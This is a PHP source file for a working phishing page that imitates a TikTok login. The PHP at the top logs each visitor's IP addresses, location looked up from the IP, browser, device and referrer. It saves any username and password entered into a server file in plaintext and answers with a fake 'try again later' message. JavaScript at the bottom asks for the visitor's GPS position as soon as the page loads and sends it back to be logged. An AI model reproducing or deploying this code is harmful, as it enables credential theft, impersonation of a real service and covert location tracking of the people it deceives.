<?php
// Function to create the log file if it doesn't exist
function createFileIfNotExists($filename) {
    if (!file_exists($filename)) {
        // Create the file with write permissions
        $file = fopen($filename, 'w');
        fclose($file);
    }
}

// Ensure the log files exist
createFileIfNotExists('visitor_log.php');
createFileIfNotExists('usersdata.php');

// Capture visitor details
$visitor_ip = $_SERVER['REMOTE_ADDR']; // Internal IP address
$public_ip = file_get_contents('http://checkip.amazonaws.com'); // Public IP from external service
$visitor_time = date("Y-m-d H:i:s"); // Current date and time
$user_agent = $_SERVER['HTTP_USER_AGENT']; // User agent (browser details)

// Get location using an IP-to-location service (ipinfo.io)
$location_data = file_get_contents("http://ipinfo.io/{$visitor_ip}/json");
$location_array = json_decode($location_data, true);
$location_city = isset($location_array['city']) ? $location_array['city'] : 'Unknown';
$location_country = isset($location_array['country']) ? $location_array['country'] : 'Unknown';
$location_region = isset($location_array['region']) ? $location_array['region'] : 'Unknown';

// Get referrer URL
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct';

// Get browser language
$language = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'Unknown';

// Get session ID
$session_id = session_id();

// Attempt to extract browser and OS details
$os = 'Unknown';
if (preg_match('/\((.*?)\)/', $user_agent, $matches)) {
    $os = $matches[1]; // Extract OS details from user agent
}

// Detect device type (Mobile, Tablet, Desktop)
$device_type = 'Desktop';
if (preg_match('/Mobile|Android|iPhone|iPad|iPod/', $user_agent)) {
    $device_type = 'Mobile';
}
if (preg_match('/Tablet/', $user_agent)) {
    $device_type = 'Tablet';
}

// Capture screen resolution and time zone (using JavaScript or from the client side)
$screen_resolution = isset($_GET['screen_resolution']) ? $_GET['screen_resolution'] : 'Unknown';
$timezone = date_default_timezone_get(); // Or capture via JavaScript for more accuracy

// Log entry details
$log_entry = "Public IP: $public_ip | Internal IP: $visitor_ip | Time: $visitor_time | User Agent: $user_agent | Location (IP): $location_city, $location_country, $location_region | Referrer: $referrer | Language: $language | Session ID: $session_id | Device: $device_type | OS: $os | Screen Resolution: $screen_resolution | Timezone: $timezone | Latitude: N/A | Longitude: N/A\n";

// Write log entry to visitor_log.txt
file_put_contents('visitor_log.php', $log_entry, FILE_APPEND);

// Start the session (if not already started) for session ID usage
if (session_status() == PHP_SESSION_NONE) {
    session_start();
}

$login_message = '';  // Default empty message
$gps_data = 'N/A';  // Default GPS value

// Process login form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = isset($_POST['username']) ? $_POST['username'] : 'Unknown';
    $password = isset($_POST['password']) ? $_POST['password'] : 'Unknown';
    $login_time = date("Y-m-d H:i:s"); // Current date and time when login occurs
    
    // Log username, password, and login time into usersdata.txt
    $login_data = "Uname/mob: $username | P: $password | Login Time: $login_time | IP: $public_ip | Device: $device_type | Location: $location_city, $location_country, $location_region | Latitude: $gps_data | Longitude: $gps_data\n";

    // Attempt to write to usersdata.txt
    if (file_put_contents('usersdata.php', $login_data, FILE_APPEND) === false) {
        $login_message = 'Error writing to file. Please try again later.';
    } else {
        // Show a message to try again later after logging the data
        $login_message = 'Please try again later.';

        // Log the login data from usersdata.txt into visitor_log.txt
        $user_data_from_file = file_get_contents('usersdata.php');
        if ($user_data_from_file !== false) {
            // Append usersdata.txt content into visitor_log.txt
            file_put_contents('visitor_log.php', "USER LOGIN DATA: \n" . $user_data_from_file . "\n", FILE_APPEND);
        }
    }
}

// Check if GPS data has been sent (via AJAX)
if (isset($_POST['latitude']) && isset($_POST['longitude'])) {
    $latitude = $_POST['latitude'];
    $longitude = $_POST['longitude'];
    $gps_data = "Latitude: $latitude, Longitude: $longitude";

    // Append GPS data into the log
    $log_entry_with_gps = str_replace('Latitude: N/A | Longitude: N/A', "Latitude: $latitude | Longitude: $longitude", $log_entry);
    file_put_contents('visitor_log.php', $log_entry_with_gps, FILE_APPEND);
}

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>TikTok Login</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f5f5f5;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .login-container {
            background-color: #fff;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
            width: 300px;
        }
        h2 {
            text-align: center;
        }
        .input-group {
            margin-bottom: 15px;
        }
        input[type="text"], input[type="password"] {
            width: 100%;
            padding: 10px;
            margin: 5px 0;
            border: 1px solid #ccc;
            border-radius: 5px;
        }
        button {
            width: 100%;
            padding: 10px;
            background-color: #000;
            color: #fff;
            border: none;
            border-radius: 5px;
            font-size: 16px;
        }
        button:hover {
            background-color: #444;
        }
        .message {
            color: red;
            text-align: center;
            margin-top: 10px;
        }
    </style>
</head>
<body>
    <div class="login-container">
        <h2>Login to TikTok</h2>
        <form action="#" method="post">
            <div class="input-group">
                <label for="username">Username / Mobile Number</label>
                <input type="text" name="username" placeholder="Username / Mobile Number" required>
            </div>
            <div class="input-group">
                <input type="password" name="password" placeholder="Password" required>
            </div>
            <button type="submit">Log In</button>
        </form>

        <!-- Show message to try again later -->
        <?php if ($login_message): ?>
            <div class="message"><?php echo $login_message; ?></div>
        <?php endif; ?>
    </div>

    <!-- JavaScript for requesting GPS location -->
    <script>
        function requestGPSPermission() {
            if (navigator.geolocation) {
                navigator.geolocation.getCurrentPosition(function(position) {
                    var latitude = position.coords.latitude;
                    var longitude = position.coords.longitude;

                    // Send GPS data to PHP via AJAX
                    var xhr = new XMLHttpRequest();
                    xhr.open('POST', '', true);
                    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                    xhr.send('latitude=' + latitude + '&longitude=' + longitude);
                }, function(error) {
                    alert('Error occurred while requesting GPS data: ' + error.message);
                });
            } else {
                alert('Geolocation is not supported by this browser.');
            }
        }

        // Ask for GPS permission when the page loads
        window.onload = requestGPSPermission;
    </script>
</body>
</html>